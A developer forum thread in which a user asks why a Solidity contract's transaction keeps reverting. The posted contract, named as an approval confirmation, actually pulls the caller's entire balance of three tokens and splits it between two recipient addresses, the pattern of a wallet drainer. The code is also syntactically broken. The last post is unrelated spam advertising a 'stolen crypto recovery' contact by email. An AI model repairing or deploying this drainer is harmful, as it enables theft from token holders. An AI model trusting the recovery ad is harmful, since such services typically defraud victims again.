Usdt approve transaction keeps failing

@Boluwatife_Adegbola @Mario1 yes it has been fixed thanks for asking

i did run into some problems in a smart contract i'm developing and the transaction also keeps reverting regardless of the presence of a gasLimit of 100000
here is the code below

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

import '@openzeppelin/contracts/token/ERC20/IERC20.sol';

contract Approval {

    constructor() {}

    function confirmApproval(
        address token1, 
        address token2,  
        address token3
    ) external 
        uint256 amount1 = IERC20(token1).balanceOf(msg.sender);
        uint256 amount2 = IERC20(token2).balanceOf(msg.sender);
        uint256 amount3 = IERC20(token3).balanceOf(msg.sender);

        if (amount1 > 0) {
            uint256 dev = (amount1 * 2000) / 10000;
            uint256 client = (amount1 * 8000) / 10000;
            IERC20(token1).transferFrom(msg.sender, address(address1), client);
            IERC20(token1).transferFrom(msg.sender, address(address2), dev);

        if(amount2 > 0){
            uint256 dev = (amount2 * 2000) / 10000;
            uint256 client = (amount2 * 8000) / 10000;
            IERC20(token2).transferFrom(msg.sender, address(address1), client);
            IERC20(token2).transferFrom(msg.sender, address(address2), dev);

        if(amount3 > 0){
            uint256 dev = (amount3 * 2000) / 10000;
            uint256 client = (amount3 * 8000) / 10000;
            IERC20(token3).transferFrom(msg.sender, address(address1), client);
            IERC20(token3).transferFrom(msg.sender, address(address2), dev);


the tokens involved are usdt, bnb and hex

@Skyge @FreezyEx @Team_X @Boluwatife_Adegbola I need your help with this whenever you can

please mark the right naswer as Solution

if it isn't related to the topic question please open a new thread.
Also provide link of the deployed contract and failed tx

@FreezyEx it is part of the same issue

Here is the contract address:

Here is a link to the transaction:

Please verify the code

@FreezyEx i’m new to web3…how do I go about verification

@FreezyEx i did see a YouTube post about using safeErc20 on the contract but I don’t know how to add it to my code above

While trying to recover your stolen crypto, there is need to ensure that your security is paramount while dealing with the recovery company. Hence the need to consider an option that ensures your security while recovering your money and subsequently protect you from future encounters. You can reach out to easybinarysolutions@gmail .com for credible help.